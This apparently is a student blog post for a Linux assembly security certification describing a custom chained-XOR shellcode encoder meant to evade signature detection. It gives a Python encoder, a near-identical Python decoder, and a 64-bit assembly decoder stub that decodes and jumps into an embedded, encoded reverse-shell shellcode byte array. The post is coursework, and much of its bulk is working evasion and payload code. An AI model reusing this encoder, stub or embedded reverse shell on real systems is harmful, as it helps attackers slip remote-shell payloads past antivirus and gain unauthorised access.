This is assignment #4 for the SecurityTube Linux Assembly Expert certification. It consists in the implementation of a custom encoder.
Encoding is a common strategy for obfuscating a shellcode payload as to avoid signature and pattern detection.
For this assignment I wanted to implement something that was simple, both in logic and implementation. I was inspired by the XOR encoder that is explained throughout the course. My implementation differs from the regular XOR encoder because it sequentially XORs each byte of the shellcode with the result of the XOR with the previous byte.
1 |
f(payload[1]) = payload[1] XOR 0xAA |
1 |
f(payload[x>1]) = payload[x] XOR f(payload[x-1]) |
As per the course examples I implemented the encoder in Python, here is the encoder source file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
#!/usr/bin/python import sys shellcode = '' if (len(sys.argv) > 1): arg = sys.argv[1].replace('\\x','') for i in xrange(0, len(arg), 2): x = chr(int(arg[i:i+2],16)) shellcode += x else: print "Wrong number of arguments" quit() if (len(sys.argv) > 2) : code = int(sys.argv[2],16) else: code=0xAA original='' encoded1='' encoded2='' print '\nEncoding shellcode with 0x%02x/LASTCHAR XOR ...\n' %code for x in bytearray(shellcode) : original += '\\x%02x' % x y = x ^ code encoded1 += '\\x' encoded1 += '%02x' % y encoded2 += '0x' encoded2 += '%02x,' % y code = y print 'Original:\n' + original + '\n' print 'Encoded:\n' + encoded1 + '\n' print 'Bytearray:\n' + encoded2 + '\n' print 'Shellcode size: %d\n' % len(bytearray(shellcode)) |
In order to be able to properly test my idea I’ve written the decoder below, also in Python.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
#!/usr/bin/python import sys shellcode = '' if (len(sys.argv) > 1): arg = sys.argv[1].replace('\\x','') for i in xrange(0, len(arg), 2): x = chr(int(arg[i:i+2],16)) shellcode += x else: print "Wrong number of arguments" quit() if (len(sys.argv) > 2) : code = int(sys.argv[2],16) else: code=0xAA original='' encoded1='' encoded2='' print '\nEncoding shellcode with 0x%02x/LASTCHAR XOR ...\n' %code for x in bytearray(shellcode) : original += '\\x%02x' % x y = x ^ code encoded1 += '\\x' encoded1 += '%02x' % y encoded2 += '0x' encoded2 += '%02x,' % y code = x print 'Original:\n' + original + '\n' print 'Encoded:\n' + encoded1 + '\n' print 'Bytearray:\n' + encoded2 + '\n' print 'Shellcode size: %d\n' % len(bytearray(shellcode)) |
For the final proof-of-concept I’ve written a shellcode that takes the Reverse Shell I’ve written for Assignment #2 encoded with the Python script above, decodes it and runs it. Please note that since I’m including the shellcode in the .text section, compilation needs to have the -N flag to allow the section to be writable by the program. I’ve also inspired myself in the Egg Hunter assignment (#3) and used this approach to find out when to stop decoding.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
BITS 64 global _start section .text _start: EGG equ 'SLAE' BASE_DECODER equ 0xAA start: lea rdi, [rel SHELLCODE] ; load &SHELLCODE on %rax push rdi ; store &SHELLCODE on stack xor rbx, rbx mov bl, BASE_DECODER xor rcx, rcx dec rdi next_addr: inc rdi mov cl, byte[rdi] xor byte [rdi], bl mov bl, cl cmp dword [rdi+0x1], EGG jne next_addr run: pop rax ; load saved &SHELLCODE jmp rax ; run the SHELLCODE SHELLCODE: db 0xc0,0xe9,0xb1,0xdb,0xd9,0x86,0xec,0xed, db 0xb3,0x82,0x50,0x5f,0x5a,0x0a,0x55,0x07, db 0x55,0x93,0x97,0xb3,0xb1,0xd7,0x10,0x54, db 0x70,0x72,0x51,0x56,0xee,0x3b,0x91,0x3b, db 0x90,0xa5,0x0f,0xa5,0x0f,0xa5,0x2c,0x68, db 0x4c,0x48,0x1c,0x42,0x28,0x38,0x62,0x08, db 0x22,0x7a,0x75,0x70,0x41,0x81,0x8e,0x8b, db 0x0a,0x34,0x03,0x35,0x0c,0x34,0x41,0x64, db 0x0e,0x0d,0x53,0x1b,0xe4,0x2a,0x40,0x61, db 0x39,0x36,0x33,0x46,0xb0,0xf8,0xd1,0x03, db 0x51,0x03,0x5d,0x15,0xaa,0x85,0xaa,0xc8, db 0xa1,0xcf,0xe0,0x93,0xfb,0xac,0xf8,0xa7, db 0xcd,0xf6,0xae,0xa1,0xa4,'SLAE' |
This was a really fun assignment that forced me to go back and read again about all the ELF sections and their inherent permissions and ways to change them.
All code is available from my Github repo.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification.
Student ID: SLAE64-1440